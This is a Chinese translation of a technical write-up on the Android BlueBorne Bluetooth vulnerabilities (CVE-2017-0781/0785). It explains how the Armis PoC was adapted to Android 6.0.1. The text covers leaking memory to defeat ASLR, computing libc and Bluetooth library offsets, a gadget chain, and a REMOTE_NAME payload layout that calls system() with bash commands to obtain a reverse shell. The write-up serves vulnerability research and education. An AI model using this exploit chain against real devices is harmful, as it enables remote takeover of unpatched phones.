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Android BlueBorne (CVE-2017-0781)漏洞分析和利用

2017年11月17日发布

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导语:几天前,Armis公司发布了一个通过蓝牙攻击Android系统的远程代码执行安全漏洞(CVE-2017-0781)的PoC,这个漏洞也叫做BlueBorne。尽管BlueBorne是一组8个漏洞的集合,但是这个PoC只用了其中的2个来实现攻击目的。

几天前,Armis公司发布了一个通过蓝牙攻击Android系统的远程代码执行安全漏洞CVE-2017-0781)的PoC,这个漏洞也叫做BlueBorne。尽管BlueBorne是一组8个漏洞的集合,但是这个PoC只用了其中的2个来实现攻击目的。

该漏洞利用过程分为两个阶段,首先使用内存泄漏漏洞(CVE-2017-0785)获取到内存地址来绕过ASLR保护,从而调用libc库的system函数,并执行代码,在本文中的情况是获得了一个反向Shell。

Armis 发布的PoC 的原始源代码是用于攻击Pixel和Nexus 5X手机上的Android 7.1.2 系统的,这意味着如果你要在另一个手机的系统中利用漏洞时,只需要在代码中修改libc和蓝牙库的偏移量就行了。

稍后我们将会看到,在6.0.1版本中,分析蓝牙库的代码的变化是非常重要的,这使得漏洞的利用变得复杂化,迫使我们对PoC的代码进行了多处的修改。

要执行以下某些操作,必须在手机上拥有root权限。

相关库下载

第一步是在我们的计算机上用IDA或Radare提取库进行分析。

$ adb pull /system/lib/hw/bluetooth.default.so 
$ adb pull /system/lib/libc.so

libc 的 system 函数

我们用Radare 打开libc.so并查找system函数。我们可以看到它是在地址0x3ea04中,我们在变量中引入LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1。

$ r2 -A libc.so 
> afl~system 0x0003ea04   10 184          sym.system

内存泄漏

内存泄漏使我们能够发现库libc.so和bluetooth.default.so已被加载的地方。

在分析的模型中,所需要的元素与提取的内存不在同一位置,所以我们必须查找库中的值,并根据这个值修改下面的代码。

likely_some_libc_blx_offset = result[X][X] 
likely_some_bluetooth_default_global_var_offset = result[X][X]

要执行这个任务,我们需要获得一个内存转储,以及com.android.bluetooth进程的部分映射。同时获取这些数据是很重要的事情,因为这些地址在每次重新启动时都会发生改变。

$ ps | grep blue
bluetooth 2184  212   905552 47760 sys_epoll_ b6ca7894 S com.android.bluetooth
 
$ cat /proc/2184/maps|grep bluetooth.default.so
b376f000-b38b0000 r-xp 00000000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b1000-b38b4000 r--p 00141000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b4000-b38b5000 rw-p 00144000 b3:19 1049       /system/lib/hw/bluetooth.default.so

我们在内存泄漏的地址0xB376f000和0xb38b5000之间搜索一个值,为了方便起见,我使用脚本CVE-2017-0785.py进行操作

$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b3 7.|b3 8."
00000050  00 00 00 00  00 02 00 01  00 00 01 00  b3 85 e3 b7
00000060  00 00 00 00  ae df c5 f0  ac b6 19 10  b3 8b ed 84
...
000000f0  b3 8b ed 78  00 00 00 00  ab 10 2e 10  ab 12 af 50
00000100  ac b6 11 f0  b3 8b ed 78  00 00 00 00  b3 85 e4 7d
00000110  00 00 00 00  b3 85 e3 b7  ac b6 11 f0  b3 85 b9 11
00000120  ac b6 11 f0  b3 8b ed 84  b3 84 8c 8d  b3 97 f5 2c
...
00000180  00 00 00 00  b3 8b 3d 80  ae e1 55 ec  ae e1 56 cc

在我演示的这种情况中,我使用了0xb38b3d80(第180行)这个地址,我们计算了偏移量并更新了变量BLUETOOTH_BSS_SOME_VAR_OFFSET的值,同时不要忘记更新获取该值的结果表中的元素。

为了计算libc的基址,我们遵循上述相同的操作过程。

$ cat /proc/2184/maps|grep libc.so
b6c67000-b6cd9000 r-xp 00000000 b3:19 1118       /system/lib/libc.so
b6cd9000-b6cdd000 r--p 00071000 b3:19 1118       /system/lib/libc.so
b6cdd000-b6ce0000 rw-p 00075000 b3:19 1118       /system/lib/libc.so
$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b6 c."
00000080  00 00 00 00  00 00 00 00  00 00 02 a8  b6 ce 92 e8
000000a0  00 00 00 08  ab 1b 04 c8  b6 cd c5 94  00 00 00 01
000000b0  b3 99 18 20  b6 cb c3 cf  ab 1b 04 c8  ae df c8 68
000000c0  ae ed 10 00  ab 10 2e 10  b6 ce 93 0c  ab 1b 04 c0
...
00000350  b6 cd c5 94  00 00 00 01  ab 10 44 3c  b6 cb c3 cf
00000370  b6 ce 93 0c  ab 1b 04 c0  b6 cd c5 94  ab 1b 04 c8
00000380  ae ea 04 20  b6 cb f2 5b  00 01 00 00  ab 10 2f 00
00000400  00 00 00 01  b6 cb 05 c3  ab 10 44 30  00 00 00 00

使用这些值中的任何一个,我们计算偏移量并将其输入到变量LIBC_SOME_BLX_OFFSET中 

从这一刻起,我们可以忽视ASLR。

我们用下面这段代码可以显示脚本中result变量的内存泄漏。

def print_result(result):
    i = 0
    for line in result:
      sys.stdout.write("%02d: " % i)
      for x in line:
        sys.stdout.write("%08x " % x)
      else:
        sys.stdout.write("n")
        i += 1

另外,如果我们抽取几个过程的样本,我们可以比较它们,看看哪些值不会发生改变,并把它们作为参考。

$ python3 diff.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14
00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02: 00000000 00000000 00000000 00020001 a___0700 _____061 00000000 b6d__d59 _____481
03: ________ 00000000 00000008 _____541 _____1e3 00007530 00000000 ________ _____534
04: ________ _____534 a______0 _____463 _____481 ________ 00000000 00000000 ________
05: _____783 a______8 ________ _____000 a_______ b6d__274 a______0 b6d__594 a______8
06: ________ b6d__eeb ___0____ 00000008 b3______ _______0 _____f50 00000000 a_______
07: b3______ _______0 _____f50 00000000 _____bad 00000000 _____adf _______0 _____061
08: _______0 _____f58 _____481 _____bd8 00000000 0000000f ________ _____1e3 00007530
09: 00000000 _____bd8 _____534 _____bd8 _____534 _______0 _____463 _____481 _____bd8
10: 00000000 00000000 _____bd8 _____783 _____481 _____bd0 0000____ _______c _____d34
11: _______c _______b _______b 00000002 _____053 _______b 0000000_ 00000000 b4d____0
12: _____090 00000004 _____538 b6d__035 00000000 00000000 00000005 00000348 000005f0
13: b6d__250 ________ 00000005 _______0 _____000 00000008 a______8 b6d__594 00000001
14: 00000000 b6d__03f a______8 _______0 _____000 ________ b6d__274 a______0 b6d__594
15: a______8 _______0 b6d__eeb 00000000 _____c9d ________ 4000____ a______0 00000003
16: 00000000 a______0 a______8 ________ 00000004 _______c 00000006 _______c _____4c1
17: 0000004_ _______4 ________ 00000000 _____4e5 00000006 ________ 00000014 _____827
18: _____f3c _____75f fffff855 _____581 _____618 b______0 _____607 _____f5c 0000000f
19: 0000000f 00000001 00000000 0000000f _______c _______4 ________ 00000000 _____bd7

REMOTE_NAME变量

该变量包含了进行连接的设备的名称,在PoC版本7.1.2中,它用于输入system函数的地址和bash命令。稍后会详细介绍使用这个变量的细节。

我找到这个变量的内存地址所使用的方法是使用GDB与PEDA-ARM和searchmem内存搜索函数。该偏移量被输入到变量BSS_ACL_REMOTE_NAME_OFFSET中。

searchmem.png

hexdump-remotename.png

有效载荷

正如我们在Armis 发布的PoC 的技术细节中看到的那样,如果我们用REMOTE_NAME的地址覆盖R0 ,则btu_hci_msg_process函数会跳转到[ REMOTE_NAME + 8],将REMOTE_NAME的地址留在R0上。

mov r4, r0 
... 
ldr r1, [r4 + 8] 
mov r0, r4 
blx r1

因此,在这种情况下,我们在REMOTE_NAME + 8中输入system函数的内存地址。system函数将执行的参数是REMOTE_NAME的内容,因此在其中包含system地址会导致错误。Armis的研究人员使用了以下结构来解决这个问题,其中2个命令是用; 分开的,system函数的地址停留在了位置8。

Payload is: '"x17AAAAAAsysm";n<bash_commands>n#'

在Android 6.0.1版中,由于库中不存在相同的函数,所以不可能以相同的方式执行操作。另一方面,在可利用的功能中,我使用了000f1e36,同样能够控制jump方向和r0的值。

000f1e36.png

这些是允许我们控制r0和jump方向的指令。

ldr r0, [r0 + 4]
...
ldr r3, [r0 + 8]
ldr r0, [r0]
ldr r2, [r3 + 28]
blx r2

简化一下,我们就有了以下等式,其中x是我们控制的4个字节的值。

jump = [[[x+4]+8]+28]
r0 = [[x+4]]

为了实现我们的攻击目的,我们需要用三个指针来控制跳转,一个用来控制r0。

用作REMOTE_NAME的有效载荷的结构如下:

0                  4      8           12       16              X
+------------------+------+-----------+--------+---------------+
| shellscript_addr | name | name - 16 | system | bash_commands |
+------------------+------+-----------+--------+---------------+
 
Jump address:
1 : [name+4] = name
2 : [name+8] = name-16
3 : [name-16+28] = [name+12] = system
 
r0:
1 : [name+4] = name
2 : [name] = shellscript_addr

代码执行

一旦代码编写完成,我们就需要进行测试,并观察如何像原来的PoC一样能够成功执行,有必要多次启动它以获得令人满意的Exp。

poc-nexus5.png

相关代码

blueborne-nexus5.py

diff.py

Armis BlueBorne Android漏洞利用PoC

鸣谢

borjmz kifo kalrong

本文翻译自:https://jesux.es/exploiting/blueborne-android-6.0.1-english/ ,如若转载,请注明原文地址: http://www.4hou.com/mobile/8496.html

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